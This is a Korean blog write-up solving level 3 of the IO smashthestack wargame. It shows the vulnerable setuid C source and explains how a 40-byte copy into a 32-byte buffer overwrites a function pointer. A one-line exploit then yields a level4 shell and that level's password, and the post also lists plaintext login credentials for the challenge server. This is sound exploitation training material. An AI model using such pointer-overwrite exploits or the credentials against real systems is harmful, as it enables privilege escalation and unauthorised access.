IO smashthestack level3

2011. 7. 17. 12:46·Wargame/IO.smashthestack.org
 Category : System hacking

ssh://io.smashthestack.org:2224
id : level3
pw : f9esfdy8T6Hd

Summary : overflow , overwrite function pointer


서버에 접속하여 문제 파일을 확인한다.

level3@io:/levels$ ls -l | grep level03
-r-sr-x--- 1 level4  level3   7768 Nov 18  2007 level03
-r-------- 1 level3  level3    603 Nov 18  2007 level03.c

setuid가 걸린 level4 user의 실행파일을 볼 수 있으며 , source 파일도 제공되어있다.
source 파일을 확인한다.

level3@io:/levels$ cat level03.c
#include <stdio.h>
#include <unistd.h>
#include <string.h>

int good(int addr) {
 printf("Address of hmm: %p\n", addr);
}
  
int hmm() {
 printf("Win.\n");
 execl("/bin/sh", "sh", NULL);
}

extern char **environ;

int main(int argc, char **argv) {

 int i, limit;

 for(i = 0; environ[i] != NULL; i++)
 memset(environ[i], 0x00, strlen(environ[i]));

 int (*fptr)(int) = good;
 char buf[32];
 
 if(strlen(argv[1]) <= 40) limit = strlen(argv[1]);
 
 for(i = 0; i <= limit; i++) {
  buf[i] = argv[1][i];
  if(i < 36) buf[i] = 0x41;
 }

 int (*hmmptr)(int) = hmm;

 (*fptr)((int)hmmptr);
 
 return 0;
 
}


환경변수 영역을 NULL로 초기화시키고 , 함수 포인터와 char형 배열을 선언하여 argv[1]의 길이가 40이하이면 argv[1]을 buf에 복사해주지만 , 36글자 이하로는 모두 'A'로 덮어버린다.

즉 , argv[1][36] ~ argv[1][40]이 buf[36] ~ buf[40]에 덮이고 buf[0]~buf[35]는 모두 'A'로 덮인다.

프로그램에서 buf는 32바이트가 선언됬지만 argv[1]에서 최대 40글자까지 복사하기 때문에 sfp 나 return address가 저장된 영역은 건드리지 못하여도 먼저 선언된 변수영역을 조작할 수 있다. 
buf[36]부터 buf[40]까지만 원하는 값으로 조작가능한데 해당영역이 함수 포인터(fptr)변수 영역이다.

fptr에 쉘을 실행하는 함수인 hmm의 주소를 넣어준다면 hmm함수가 실행되어 level4 user의 쉘을 획득하게된다.

level3@io:/levels$ ./level03 `python -c 'print "pwn3r"'`
Address of hmm: 0x804847f
level3@io:/levels$ ./level03 `python -c 'print "\x7f\x84\x04\x08"*10'`
Win.
sh-3.2$ id
uid=1003(level3) gid=1003(level3) euid=1004(level4) groups=1003(level3),1029(nosu)
sh-3.2$ cat /home/level4/.pass
1ZwMe9q1nDC9

level4 user의 쉘을 얻고 password를 획득하였다. 

'Wargame > IO.smashthestack.org' 카테고리의 다른 글

IO smashthestack level5  (0) 2011.07.25
IO smashthestack level4  (0) 2011.07.25
IO smashthestack level2  (0) 2011.07.17
IO smashthestack level1  (0) 2011.07.17
'Wargame/IO.smashthestack.org' 카테고리의 다른 글
  • IO smashthestack level5
  • IO smashthestack level4
  • IO smashthestack level2
  • IO smashthestack level1
pwn3r_45
pwn3r_45
  • pwn3r_45
    pwn3r_45
    pwn3r_45
  • 전체
    오늘
    어제
    • View All (155)
      • Paper (0)
        • Power Grid (0)
        • Software_Kernel (0)
        • Exploitation (0)
        • RTOS (0)
        • UAV (0)
        • SCADA (0)
      • Articles (0)
      • Personal (18)
      • Technical Note (9)
        • Hardware (1)
        • Vulnerability Research (8)
        • Binary Exploitation (5)
        • PR23 (0)
        • Vulnerability (1)
        • Linux Kernel (1)
        • 현대암호 (0)
      • CTF (90)
        • 2025 (0)
        • 2024 (1)
        • 2023 (5)
        • 2019 (5)
        • 2018 (20)
        • 2017 (7)
        • 2016 (6)
        • 2015 (1)
        • 2014 (3)
        • 2013 (14)
        • 2012 (6)
      • Wargame (22)
        • FTZ (13)
        • Lord Of Bof - Redhat 6.2 (0)
        • IO.smashthestack.org (5)
        • Amateria.smashthestack.org (0)
        • pwnable.tw (0)
        • Vortex.overthewire.org (3)
        • Webhacking.kr (0)
        • reversing.kr (0)
        • dreamhack.io (0)
        • CodeEngn (1)
      • Reverse engineering (1)
      • Issue (13)
        • Conference_CTF info (13)
      • Coding (0)
        • C# (0)
      • ETC (2)
      • 미완성 (0)
  • 블로그 메뉴

    • Home
    • Tag
    • MediaLog
    • LocationLog
    • Guestbook
    • Admin
    • Write
  • 링크

    • 6l4ck3y3
    • idkwim
    • gogil
    • dakuo
    • badcob
    • 임준오씨 블로그
    • 김용진씨 블로그
    • david942j
    • orange tsai
    • pwndiary
    • theori
    • tacxingxing
    • jinmo123's team blog
    • ConS-tanT
    • jaybosamiya
    • procdiaru
  • 공지사항

  • 인기 글

  • 태그

    HUST
    power of community
    정보보호올림피아드
    pwnables
    web
    gnuboard
    후기
    csaw
    POC
    csaw ctf
    HUST2011
    vuln
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
pwn3r_45
IO smashthestack level3
상단으로

티스토리툴바